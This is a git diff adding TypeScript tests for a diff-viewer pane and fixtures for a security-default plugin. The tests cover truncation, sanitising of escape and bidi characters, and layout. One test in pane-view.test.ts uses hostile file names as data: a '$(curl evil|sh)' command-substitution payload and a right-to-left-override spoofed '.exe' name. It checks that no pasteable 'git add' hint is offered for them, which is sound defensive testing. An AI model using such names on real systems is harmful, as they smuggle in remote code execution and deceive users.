@@ -0,0 +1,105 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Limits from '../../../hooks/limits'
+import Views from '../../../hooks/views'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('code-blocks-of', () => {
+ test('hunks share a block while they fit, then one opens', () => {
+ const { blocks, isTruncated } = Views.codeBlocksOf([
+ Fixtures.wideHunk(),
+ Fixtures.wideHunk(Fixtures.BIG_LINES),
+ Fixtures.wideHunk(2 * Fixtures.BIG_LINES),
+ ])
+
+ expect(isTruncated).toBe(false)
+ expect(blocks.map(block => block.hasDivider)).toEqual([false, true])
+ expect(blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
+
+ expect(blocks.map(block => Fixtures.hunksOf(block.source).length)).toEqual([
+ 2, 1,
+ ])
+
+ expect(Fixtures.hunksOf(blocks[1]?.source ?? '')[0]?.oldStart).toBe(
+ 2 * Fixtures.BIG_LINES,
+ )
+ })
+
+ test('an oversize hunk stacks as sub-hunks that add up', () => {
+ const hunk = Fixtures.wideHunk(
+ Fixtures.BIG_LINES,
+ Limits.MAX_LINES_PER_FILE,
+ )
+
+ const body = Views.codeBlocksOf([hunk])
+ const parts = Fixtures.parsedHunksOf(body)
+
+ expect(body.isTruncated).toBe(false)
+ expect(body.blocks.length).toBeGreaterThan(2)
+ expect(body.blocks.some(block => block.hasDivider)).toBe(false)
+ expect(body.blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
+ expect(parts).toHaveLength(body.blocks.length)
+ expect(parts.flatMap(part => part.lines)).toEqual([...hunk.lines])
+
+ expect(parts.reduce((sum, part) => sum + part.oldLines, 0)).toBe(
+ hunk.lines.filter(line => !line.startsWith('+')).length,
+ )
+
+ expect(parts.reduce((sum, part) => sum + part.newLines, 0)).toBe(
+ hunk.lines.filter(line => !line.startsWith('-')).length,
+ )
+
+ expect(parts[0]?.oldStart).toBe(Fixtures.BIG_LINES)
+ expect(Fixtures.areContiguous(parts)).toBe(true)
+ })
+
+ test('letters beyond the BMP are capped in UTF-16 units', () => {
+ const hunk = Fixtures.wideHunk(
+ Fixtures.BIG_LINES,
+ Limits.MAX_LINES_PER_FILE / 2,
+ Fixtures.MATHEMATICAL_BOLD_A,
+ )
+
+ const body = Views.codeBlocksOf([hunk])
+ const parts = Fixtures.parsedHunksOf(body)
+
+ expect(Fixtures.MATHEMATICAL_BOLD_A).toHaveLength(2)
+ expect(body.isTruncated).toBe(false)
+ expect(body.blocks.length).toBeGreaterThan(2)
+ expect(body.blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
+ expect(parts.flatMap(part => part.lines)).toEqual([...hunk.lines])
+ expect(Fixtures.areContiguous(parts)).toBe(true)
+ })
+
+ test('a line longer than any source holds is cut, reported', () => {
+ const body = Views.codeBlocksOf([
+ {
+ oldStart: 1,
+ newStart: 1,
+ lines: [`+${'z'.repeat(2 * Views.MAX_CODE_CHARS)}`, '+b'],
+ },
+ ])
+
+ const lines = Fixtures.parsedHunksOf(body).flatMap(part => part.lines)
+
+ expect(body.isTruncated).toBe(true)
+ expect(body.blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
+ expect(lines).toEqual([expect.stringMatching(/^\+z+$/), '+b'])
+ })
+
+ test("a line's controls and format characters go, tabs stay", () => {
+ const { blocks } = Views.codeBlocksOf([
+ {
+ oldStart: 1,
+ newStart: 1,
+ lines: ['-\tesc\u001b[31m', '+\tbidi\u202Eok\r', '\\ No newline'],
+ },
+ ])
+
+ expect(blocks.map(block => block.source)).toEqual([
+ '@@ -1,1 +1,1 @@\n-\tesc[31m\n+\tbidiok',
+ ])
+ })
+})
diff --git a/mods/diff/tests/views/detail/detail-view.test.ts b/mods/diff/tests/views/detail/detail-view.test.ts
new file mode 100644
index 00000000..893ad30a
--- /dev/null
+++ b/mods/diff/tests/views/detail/detail-view.test.ts
@@ -0,0 +1,88 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Views from '../../../hooks/views'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('detail-view', () => {
+ test('hunks draw as one diff Code named by the path', async ($, on) => {
+ Fixtures.drawsPane(on, kit =>
+ Views.detailView(
+ kit,
+ {
+ words: { untrackedNoteOf: () => [] },
+ path: 'src/app/config.ts',
+ renamedFrom: null,
+ isUntracked: false,
+ isBinary: false,
+ body: {
+ hunks: [
+ {
+ oldStart: 1,
+ newStart: 1,
+ lines: [' a = 1', '-b = 2', '+b = 3', ' c = 4'],
+ },
+ {
+ oldStart: Fixtures.BIG_LINES,
+ newStart: Fixtures.BIG_LINES,
+ lines: [' x = 1', '+y = 2'],
+ },
+ ],
+ isTruncated: false,
+ isLarge: false,
+ },
+ bodyState: 'ready',
+ isArmed: false,
+ },
+ Fixtures.noop,
+ ),
+ )
+
+ const tree = await $.ui.render(Fixtures.VIEW_PANE)
+
+ expect(Fixtures.codesIn(tree)).toEqual([
+ {
+ source: [
+ '@@ -1,3 +1,3 @@',
+ ' a = 1',
+ '-b = 2',
+ '+b = 3',
+ ' c = 4',
+ '@@ -1000,1 +1000,2 @@',
+ ' x = 1',
+ '+y = 2',
+ ].join('\n'),
+ format: 'diff',
+ path: 'src/app/config.ts',
+ },
+ ])
+
+ expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
+ expect(Fixtures.jsonOf(tree)).not.toContain('truncated')
+ })
+
+ test("the name sits over the built-in's dim rule", async ($, on) => {
+ let isUntracked = false
+
+ Fixtures.drawsPane(on, kit =>
+ Views.detailView(
+ kit,
+ Fixtures.configDetailOf(isUntracked),
+ Fixtures.noop,
+ ),
+ )
+
+ for (const untracked of [false, true]) {
+ isUntracked = untracked
+
+ const [name, rule, body] = Fixtures.childrenOf(
+ await $.ui.render(Fixtures.VIEW_PANE),
+ )
+
+ expect(Fixtures.stringsOf(name)).toContain('src/app/config.ts')
+ expect(Fixtures.stringsOf(rule)).toEqual(['─'.repeat(Fixtures.COLUMNS)])
+ expect(body).toBeDefined()
+ }
+ })
+})
diff --git a/mods/diff/tests/views/layout/truncate-start.test.ts b/mods/diff/tests/views/layout/truncate-start.test.ts
new file mode 100644
index 00000000..dfc9cb52
--- /dev/null
+++ b/mods/diff/tests/views/layout/truncate-start.test.ts
@@ -0,0 +1,30 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Views from '../../../hooks/views'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('truncate-start', () => {
+ test('a path padded with combining marks is cut to the room', () => {
+ const cut = Views.truncateStart(
+ `src/${Fixtures.COMBINING_ACUTE.repeat(Fixtures.MARKS)}x.ts`,
+ Fixtures.ROOM,
+ )
+
+ expect([...cut].length).toBeLessThanOrEqual(Fixtures.ROOM)
+ expect(cut.startsWith('…')).toBe(true)
+ expect(cut.endsWith('x.ts')).toBe(true)
+ })
+
+ test('a path that fits is whole; one that does not keeps its tail', () => {
+ expect(Views.truncateStart('src/a.ts', Fixtures.ROOM)).toBe('src/a.ts')
+
+ expect(
+ Views.truncateStart(
+ 'very/long/leading/dirs/file.ts',
+ Fixtures.NARROW_ROOM,
+ ),
+ ).toBe('…irs/file.ts')
+ })
+})
diff --git a/mods/diff/tests/views/layout/wrapped-lines.test.ts b/mods/diff/tests/views/layout/wrapped-lines.test.ts
new file mode 100644
index 00000000..c2d218be
--- /dev/null
+++ b/mods/diff/tests/views/layout/wrapped-lines.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Views from '../../../hooks/views'
+import Fixtures from '../../fixtures'
+
+tier('builtin')
+
+describe('wrapped-lines', () => {
+ test('each line cut as Ink cuts it for the built-in', () => {
+ for (const [text, byWidth] of Object.entries(Fixtures.BUILTIN_WRAPS)) {
+ for (const [width, builtin] of Object.entries(byWidth)) {
+ expect(
+ Views.wrappedLines(text, Number(width)),
+ `${width}: ${text}`,
+ ).toEqual(builtin)
+ }
+ }
+
+ expect(
+ Views.wrappedLines(
+ "Couldn't read the git diff — it will retry on the next change",
+ 48,
+ ),
+ ).toEqual([
+ "Couldn't read the git diff — it will retry on ",
+ 'the next change',
+ ])
+ })
+})
diff --git a/mods/diff/tests/views/pane-view.test.ts b/mods/diff/tests/views/pane-view.test.ts
new file mode 100644
index 00000000..f1b41a6e
--- /dev/null
+++ b/mods/diff/tests/views/pane-view.test.ts
@@ -0,0 +1,536 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import type Git from '../../hooks/git'
+import Limits from '../../hooks/limits'
+import Names from '../../hooks/names'
+import PaneState from '../../hooks/pane-state'
+import Views from '../../hooks/views'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('pane-view', () => {
+ const dataOf = (
+ files: readonly Git.FileStat[],
+ overrides: Partial<Git.DiffData> = {},
+ ): Git.DiffData => ({
+ repository: Fixtures.CHECKOUT,
+ mode: 'session',
+ stats: { ...Fixtures.TOTALS, filesCount: files.length },
+ files,
+ source: { kind: 'working-tree', base: 'HEAD' },
+ isUnborn: false,
+ baseRef: 'HEAD',
+ stalePaths: [],
+ isUntrackedWithheld: false,
+ ...overrides,
+ })
+
+ const modelOf = (
+ overrides: Partial<PaneState.PaneModel>,
+ ): PaneState.PaneModel => ({
+ ...PaneState.INITIAL_MODEL,
+ hasSettled: true,
+ ...overrides,
+ })
+
+ const EARLIER = [Fixtures.rowOf('old.ts', { isPreSession: true })]
+
+ test('header, noted rows, the earlier line, the selection', async ($, on) => {
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf('src/a.ts'),
+ Fixtures.rowOf('img.png', { isBinary: true }),
+ Fixtures.rowOf('notes.txt', {
+ added: 0,
+ removed: 0,
+ isUntracked: true,
+ }),
+ Fixtures.rowOf('test/a.test.ts'),
+ Fixtures.rowOf('old.ts', { isPreSession: true }),
+ ]),
+ body: Fixtures.SMALL_BODY,
+ bodyState: 'ready',
+ }),
+ )
+
+ const text = Fixtures.jsonOf(tree)
+
+ expect(Fixtures.isDrawn(tree), 'under the node cap').toBe(true)
+ expect(text).toContain('4 files')
+ expect(text).toContain('Binary file')
+ expect(text).toContain('untracked')
+ expect(text).toContain('1 test/generated (show)')
+ expect(text).not.toContain('test/a.test.ts')
+ expect(text).toContain('+1 file edited before this session (show)')
+ expect(text).toContain('❯ src/a.ts')
+ expect(text).toContain('"type":"Code"')
+ expect(text).toContain('"label":"ask"')
+ })
+
+ test('untracked withheld: the rows stay, the pane says so', async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const listed = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/a.ts')], {
+ isUntrackedWithheld: true,
+ }),
+ }),
+ ),
+ )
+
+ const bare = Fixtures.stringsOf(
+ await draw(modelOf({ data: dataOf([], { isUntrackedWithheld: true }) })),
+ ).join('')
+
+ expect(listed).toContain('1 file')
+ expect(listed).toContain('❯ src/a.ts')
+ expect(listed).toContain(Names.untrackedWithheldTextOf({ lister: 'git' }))
+ expect(bare).toContain('No tracked changes')
+ expect(bare).not.toContain('No changes this session')
+ expect(bare).toContain(Names.untrackedWithheldTextOf({ lister: 'git' }))
+ })
+
+ test('a file at the line cap draws under the tree caps', async ($, on) => {
+ const lines = Array.from({ length: Limits.MAX_LINES_PER_FILE }, (_, at) =>
+ at % 2 === 0 ? `-const value${at} = ${at}` : `+const value${at} = 0`,
+ )
+
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/long.ts')]),
+ body: {
+ hunks: [{ oldStart: 1, newStart: 1, lines }],
+ isTruncated: true,
+ isLarge: false,
+ },
+ bodyState: 'ready',
+ }),
+ )
+
+ expect(
+ Fixtures.isDrawn(tree),
+ 'under the node, string and text caps the engine holds a tree to',
+ ).toBe(true)
+
+ expect(Fixtures.codesIn(tree).length).toBeGreaterThan(0)
+
+ expect(Fixtures.jsonOf(tree)).toContain(
+ '… diff truncated (exceeded 400 line limit)',
+ )
+ })
+
+ test("placeholders in the built-in's words", async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const untracked = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ data: dataOf([Fixtures.rowOf('notes.txt', { isUntracked: true })]),
+ }),
+ ),
+ )
+
+ expect(untracked).toContain('New file not yet staged.')
+ expect(untracked).not.toContain('"label":"ask"')
+ expect(untracked).toContain('Run `git add :/notes.txt` to see line counts.')
+ expect(untracked).not.toContain("':/")
+
+ expect(
+ Fixtures.stringsOf(await draw(modelOf({ data: null }))).join(''),
+ ).toContain("Couldn't read the git diff — it will retry on the next change")
+
+ expect(
+ Fixtures.jsonOf(await draw(modelOf({ isOutsideRepository: true }))),
+ ).toContain("isn't in a git repository")
+ })
+
+ test('a picked turn draws its files under the turn title', async ($, on) => {
+ const text = Fixtures.jsonOf(
+ await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([]),
+ source: { kind: 'turn', index: 2 },
+ turns: [Fixtures.TURN_TWO],
+ }),
+ ),
+ )
+
+ expect(text).toContain('Turn 2 \\"fix it\\"')
+ expect(text).toContain('/r/a.ts')
+ expect(text).toContain('T2')
+ expect(text).toContain('… diff truncated (exceeded 400 line limit)')
+ })
+
+ test('a body past the char budget is cut, says truncated', async ($, on) => {
+ const lines = Array.from(
+ { length: Limits.MAX_LINES_PER_FILE },
+ (_, at) => `+const value${at} = ${'0'.repeat(Fixtures.LONG_LINE_CHARS)}`,
+ )
+
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/long-lines.ts')]),
+ body: {
+ hunks: [{ oldStart: 0, newStart: 1, lines }],
+ isTruncated: false,
+ isLarge: false,
+ },
+ bodyState: 'ready',
+ }),
+ )
+
+ expect(Fixtures.codesIn(tree).length).toBeGreaterThan(1)
+ expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
+ expect(Fixtures.jsonOf(tree)).toContain('(truncated)')
+
+ expect(Fixtures.jsonOf(tree)).toContain(
+ '… diff truncated (exceeded 400 line limit)',
+ )
+ })
+
+ test('no newline or escape in a name reaches the tree', async ($, on) => {
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf('evil\nfake.ts +9 -9'),
+ Fixtures.rowOf('esc\u001bname.ts', { renamedFrom: 'old\u001b.ts' }),
+ ]),
+ selectedPath: 'esc\u001bname.ts',
+ body: Fixtures.SMALL_BODY,
+ bodyState: 'ready',
+ }),
+ )
+
+ const text = Fixtures.jsonOf(tree)
+
+ expect(Fixtures.stringsOf(tree).some(each => each.includes('\u001b'))).toBe(
+ false,
+ )
+
+ expect(text).not.toContain('\\u001b')
+ expect(text).not.toContain('evil\\nfake')
+ expect(text).toContain('evilfake.ts +9 -9')
+ expect(text).toContain('(renamed from old.ts)')
+ })
+
+ test('a path past the string cap is cut in the header', async ($, on) => {
+ const longPath = `${'deep/'.repeat(Fixtures.LONG_PATH_SEGMENTS)}file.ts`
+
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf(longPath, { renamedFrom: `${longPath}.old` }),
+ ]),
+ selectedPath: longPath,
+ body: Fixtures.SMALL_BODY,
+ bodyState: 'ready',
+ }),
+ )
+
+ expect(Fixtures.isDrawn(tree), 'every string under the cap').toBe(true)
+ expect(Fixtures.jsonOf(tree)).toContain('file.ts')
+ })
+
+ test('a base branch name loses its format characters', async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const compared = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ requestedMode: 'branch',
+ data: { ...dataOf([Fixtures.rowOf('a.ts')]), ...Fixtures.VS_SPOOFED },
+ }),
+ ),
+ )
+
+ const empty = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ requestedMode: 'branch',
+ data: {
+ ...dataOf([]),
+ ...Fixtures.VS_SPOOFED,
+ stats: Fixtures.NO_STATS,
+ },
+ }),
+ ),
+ )
+
+ expect(compared).toContain('branch vs maniam')
+ expect(empty).toContain('No changes vs maniam')
+ expect(compared + empty).not.toContain('\u202E')
+ })
+
+ test('only a plainly safe name gets a git add to paste', async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const untrackedOf = (path: string) =>
+ draw(
+ modelOf({
+ data: dataOf([Fixtures.rowOf(path, { isUntracked: true })]),
+ }),
+ )
+
+ const hintOf = async (path: string) =>
+ Fixtures.stringsOf(await untrackedOf(path)).join('\n')
+
+ const hints: string[] = []
+
+ for (const path of [
+ '$(curl evil|sh).txt',
+ "it's.txt",
+ 'x\u2019;payload;\u2019',
+ 'a&b.txt',
+ ]) {
+ hints.push(await hintOf(path))
+ }
+
+ const reversed = await untrackedOf('invoice\u202Etxt.exe')
+
+ expect(await hintOf('src/café-2.txt')).toContain(
+ 'Run `git add :/src/café-2.txt` to see line counts.',
+ )
+
+ expect(
+ hints.every(
+ hint =>
+ hint.includes('Stage it with git add to see line counts.') &&
+ !hint.includes('Run `git add'),
+ ),
+ ).toBe(true)
+
+ expect(Fixtures.stringsOf(reversed).join('\n')).not.toContain(
+ 'Run `git add',
+ )
+
+ expect(Fixtures.jsonOf(reversed)).toContain('"label":"❯ invoicetxt.exe"')
+ expect(Fixtures.jsonOf(reversed)).not.toContain('\u202E')
+ })
+
+ test("docked: the built-in's blank top row, last column", async ($, on) => {
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/a.ts')]),
+ body: Fixtures.SMALL_BODY,
+ bodyState: 'ready',
+ }),
+ )
+
+ const rule = '─'.repeat(
+ Math.max(0, Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS),
+ )
+
+ expect(tree).toMatchObject({
+ type: 'Box',
+ props: {
+ paddingTop: Limits.PANE_TOP_PAD_ROWS,
+ paddingRight: Limits.PANE_RIGHT_PAD_COLUMNS,
+ },
+ })
+
+ expect(Fixtures.stringsOf(tree)).toContain(rule)
+ expect(Fixtures.stringsOf(tree)).not.toContain(`${rule}─`)
+ })
+
+ test("an empty state on the built-in's row, foot below", async ($, on) => {
+ const [body] = Fixtures.childrenOf(
+ await Fixtures.dockedPane($, on, modelOf({ data: dataOf(EARLIER) })),
+ )
+
+ const [header, pad, middle, foot, ...more] = Fixtures.childrenOf(body)
+ const [spacer, headline, controls] = Fixtures.childrenOf(middle)
+ const aboveMiddle = Limits.PANE_TOP_PAD_ROWS + 2
+
+ expect(body).toMatchObject({
+ props: { height: Fixtures.BODY_ROWS - Limits.PANE_TOP_PAD_ROWS },
+ })
+
+ expect(Fixtures.stringsOf(header)).toEqual([])
+ expect(Fixtures.jsonOf(header)).toContain('"label":"✕"')
+ expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
+ expect(middle).toMatchObject({ props: { alignItems: 'center' } })
+
+ expect(spacer).toMatchObject({
+ type: 'Box',
+ props: { height: Fixtures.BUILTIN_HEADLINE_ROW - aboveMiddle },
+ })
+
+ expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
+
+ expect(
+ Fixtures.elementIn(controls, { type: 'Select', name: 'base' }),
+ ).toBeDefined()
+
+ expect(foot).toMatchObject({ props: { marginTop: 1, paddingBottom: 1 } })
+
+ expect(Fixtures.jsonOf(foot)).toContain(
+ '"label":"+1 file edited before this session (show)"',
+ )
+
+ expect(more).toEqual([])
+ })
+
+ test('shown files or too few rows stack the empty state', async ($, on) => {
+ let rows = Fixtures.BODY_ROWS
+
+ Fixtures.drawsPane(on, kit =>
+ Views.paneView(
+ { ...kit, rows },
+ modelOf({
+ data: dataOf(EARLIER),
+ isPreSessionShown: rows === Fixtures.BODY_ROWS,
+ }),
+ 'dock',
+ ),
+ )
+
+ const shown = await $.ui.render(Fixtures.VIEW_PANE)
+
+ rows = Fixtures.CRAMPED_ROWS
+
+ const cramped = await $.ui.render(Fixtures.VIEW_PANE)
+
+ const [header, pad, headline, controls, earlier, blank, row] =
+ Fixtures.childrenOf(Fixtures.childrenOf(shown)[0])
+
+ expect(Fixtures.jsonOf(shown)).not.toContain('"alignItems":"center"')
+ expect(Fixtures.jsonOf(cramped)).not.toContain('"alignItems":"center"')
+ expect(Fixtures.jsonOf(header)).toContain('"label":"✕"')
+ expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
+ expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
+
+ expect(
+ Fixtures.elementIn(controls, { type: 'Select', name: 'base' }),
+ ).toBeDefined()
+
+ expect(Fixtures.jsonOf(earlier)).toContain(
+ '"label":"+1 file edited before this session (hide)"',
+ )
+
+ expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } })
+ expect(Fixtures.jsonOf(row)).toContain('old.ts')
+ })
+
+ test("shown pre-session rows land on the built-in's rows", async ($, on) => {
+ expect(
+ Fixtures.rowShapesOf(
+ await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf('config.toml', { isPreSession: true }),
+ ]),
+ isPreSessionShown: true,
+ body: Fixtures.SMALL_BODY,
+ bodyState: 'ready',
+ }),
+ ),
+ ).slice(1),
+ ).toEqual([
+ 'blank',
+ 'No changes this session',
+ 'this session',
+ '+1 file edited before this session (hide)',
+ 'blank',
+ '❯ config.toml',
+ 'rule',
+ 'ask',
+ ])
+ })
+
+ test('a blank row sits between the rows and earlier line', async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const rowsWith = async (isPreSessionShown: boolean) =>
+ Fixtures.rowShapesOf(
+ await draw(
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf('src/a.ts'),
+ Fixtures.rowOf('old.ts', { isPreSession: true }),
+ ]),
+ isPreSessionShown,
+ }),
+ ),
+ )
+
+ const hidden = await rowsWith(false)
+ const shown = await rowsWith(true)
+ const hiddenAt = hidden.indexOf('+1 file edited before this session (show)')
+ const shownAt = shown.indexOf('+1 file edited before this session (hide)')
+
+ expect(hidden.slice(hiddenAt - 2, hiddenAt + 1)).toEqual([
+ '❯ src/a.ts',
+ 'blank',
+ '+1 file edited before this session (show)',
+ ])
+
+ expect(shown.slice(shownAt, shownAt + 3)).toEqual([
+ '+1 file edited before this session (hide)',
+ 'blank',
+ ' old.ts',
+ ])
+ })
+
+ test("the header's ✕ closes the pane in each state", async ($, on) => {
+ let closes = 0
+
+ const draw = Fixtures.docksPane($, on, {
+ actions: {
+ ...Fixtures.noopActionsOf(),
+ close: () => {
+ closes += 1
+ },
+ },
+ })
+
+ const models = [
+ modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) }),
+ modelOf({ data: dataOf([]) }),
+ modelOf({
+ data: dataOf([]),
+ source: { kind: 'turn', index: 2 },
+ turns: [Fixtures.TURN_TWO],
+ }),
+ ]
+
+ for (const model of models) {
+ const tree = await draw(model)
+ const [header] = Fixtures.childrenOf(Fixtures.childrenOf(tree)[0])
+ const close = Fixtures.childrenOf(header).at(-1)
+
+ expect(close).toMatchObject({ type: 'Box', props: { key: 'close' } })
+
+ expect(
+ Fixtures.elementIn(close, { type: 'Button', name: 'close' }),
+ ).toMatchObject({ props: { label: '✕', plain: true } })
+
+ expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
+
+ expect(await $.ui.press({ plugin: 'test', key: 'close' })).toEqual({
+ element: 'close',
+ })
+ }
+
+ expect(closes).toBe(models.length)
+ })
+})
diff --git a/mods/sec-default/tests/fixtures/agent-offered.ts b/mods/sec-default/tests/fixtures/agent-offered.ts
new file mode 100644
index 00000000..afbcd7c3
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/agent-offered.ts
@@ -0,0 +1,14 @@
+import type { AgentOfferInput, Origin } from 'claude-code'
+
+/**
+ * An agent type's offer as the engine asks for it, pinned to who provides
+ * the agent.
+ *
+ * @param agent the agent type
+ * @param provider who provides it, as the engine pinned it
+ * @returns the `agent.offer` input
+ */
+export const agentOffered = (
+ agent: string,
+ provider: Origin,
+): AgentOfferInput => ({ agent, description: 'd', source: 'plugin', provider })
diff --git a/mods/sec-default/tests/fixtures/agent-spawned.ts b/mods/sec-default/tests/fixtures/agent-spawned.ts
new file mode 100644
index 00000000..9dfab6c7
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/agent-spawned.ts
@@ -0,0 +1,20 @@
+import type { AgentSpawnInput, Origin } from 'claude-code'
+
+/**
+ * A subagent's spawn as the engine raises it, pinned to who provides the
+ * agent's definition.
+ *
+ * @param provider who provides the agent, as the engine pinned it
+ * @returns the `agent.spawn` input
+ */
+export const agentSpawned = (provider: Origin): AgentSpawnInput => ({
+ tool_use_id: 't1',
+ prompt: 'list the files in src',
+ description: 'List files',
+ subagentType: 'general-purpose',
+ provider,
+ parentModel: 'the-model',
+ permissionMode: 'default',
+ background: false,
+ fork: false,
+})
diff --git a/mods/sec-default/tests/fixtures/command-described.ts b/mods/sec-default/tests/fixtures/command-described.ts
new file mode 100644
index 00000000..025c27ce
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/command-described.ts
@@ -0,0 +1,20 @@
+import type { CommandDescribeInput, Origin } from 'claude-code'
+
+/**
+ * A visible command's description as the engine asks for it, pinned to
+ * who provides the command.
+ *
+ * @param command the command's name, no slash
+ * @param provider who provides it, as the engine pinned it
+ * @returns the `command.describe` input
+ */
+export const commandDescribed = (
+ command: string,
+ provider: Origin,
+): CommandDescribeInput => ({
+ command,
+ description: 'd',
+ isHidden: false,
+ immediate: false,
+ provider,
+})
diff --git a/mods/sec-default/tests/fixtures/denying.ts b/mods/sec-default/tests/fixtures/denying.ts
new file mode 100644
index 00000000..dd574d2b
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/denying.ts
@@ -0,0 +1,12 @@
+import type { Plugin } from 'claude-code/testing'
+
+/**
+ * A plugin the person installed that refuses every `$.tool.register`
+ * beneath it.
+ */
+export const denying: Plugin = {
+ name: 'denying',
+ register(on) {
+ on('tool.register', () => ({ deny: 'denied by denying' }))
+ },
+}
diff --git a/mods/sec-default/tests/fixtures/index.ts b/mods/sec-default/tests/fixtures/index.ts
index e0e1615b..8a19054a 100644
--- a/mods/sec-default/tests/fixtures/index.ts
+++ b/mods/sec-default/tests/fixtures/index.ts
@@ -1,15 +1,31 @@
+export * from './agent-offered.js'
+export * from './agent-spawned.js'
export * from './allowlist.js'
+export * from './command-described.js'
+export * from './denying.js'
export * from './dropping.js'
export * from './listing.js'
+export * from './managed-policy.js'
+export * from './marking.js'
export * from './memory.js'
export * from './no-allowlist.js'
+export * from './odd-providers.js'
+export * from './org-providers.js'
+export * from './policy-command.js'
+export * from './policy-reads.js'
+export * from './reading.js'
export * from './registered-tool-of.js'
export * from './registering.js'
export * from './relabeling.js'
+export * from './server-policy.js'
export * from './session.js'
export * from './signing.js'
+export * from './stripping.js'
+export * from './subjects-echoed.js'
+export * from './tool-described.js'
export * from './tools.js'
export * from './tools-command.js'
export * from './tools-registered.js'
+export * from './user-reachable-providers.js'
export * as default from '.'
diff --git a/mods/sec-default/tests/fixtures/managed-policy.ts b/mods/sec-default/tests/fixtures/managed-policy.ts
new file mode 100644
index 00000000..0b1c5a59
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/managed-policy.ts
@@ -0,0 +1,10 @@
+import type { Settings } from 'claude-code'
+
+/**
+ * Managed settings with an MCP allowlist naming the corp server and one
+ * policy-installed plugin, `suite`.
+ */
+export const MANAGED_POLICY: Settings = {
+ allowedMcpServers: [{ serverName: 'corp' }],
+ enabledPlugins: { 'suite@corp-market': true },
+}
diff --git a/mods/sec-default/tests/fixtures/marking.ts b/mods/sec-default/tests/fixtures/marking.ts
new file mode 100644
index 00000000..3f94da92
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/marking.ts
@@ -0,0 +1,17 @@
+import type { Plugin } from 'claude-code/testing'
+
+/**
+ * A plugin the person installed that marks all four subject events.
+ *
+ * A tool's description, a command's hidden flag, an agent's offer, a
+ * spawn's model.
+ */
+export const marking: Plugin = {
+ name: 'marking',
+ register(on) {
+ on('tool.describe', ($, e) => ({ description: `user: ${e.description}` }))
+ on('command.describe', ($, e, next) => next({ ...e, isHidden: true }))
+ on('agent.offer', () => ({ isOffered: false }))
+ on('agent.spawn', () => ({ model: 'user' }))
+ },
+}
diff --git a/mods/sec-default/tests/fixtures/odd-providers.ts b/mods/sec-default/tests/fixtures/odd-providers.ts
new file mode 100644
index 00000000..5a51d253
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/odd-providers.ts
@@ -0,0 +1,12 @@
+import type { Origin } from 'claude-code'
+
+/**
+ * Providers no site pins: tierless, or of a tier the engine does not have.
+ *
+ * Only a plugin's own `$` call can hand one down; sec-default fails closed
+ * on it.
+ */
+export const ODD_PROVIDERS: readonly Origin[] = [
+ { plugin: 'x' },
+ { plugin: 'x', tier: 'managed' },
+] as readonly unknown[] as readonly Origin[]
diff --git a/mods/sec-default/tests/fixtures/org-providers.ts b/mods/sec-default/tests/fixtures/org-providers.ts
new file mode 100644
index 00000000..e3121acd
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/org-providers.ts
@@ -0,0 +1,12 @@
+import type { Origin } from 'claude-code'
+
+/**
+ * Providers in the organization's tiers: a policy-installed plugin
+ * (prepended by default, or appended), a policy MCP server, its folder.
+ */
+export const ORG_PROVIDERS: readonly Origin[] = [
+ { plugin: 'suite@corp-market', tier: 'prepend' },
+ { plugin: 'audit@corp-market', tier: 'append' },
+ { plugin: 'mcp:corp', tier: 'prepend' },
+ { plugin: 'policy', tier: 'prepend' },
+]
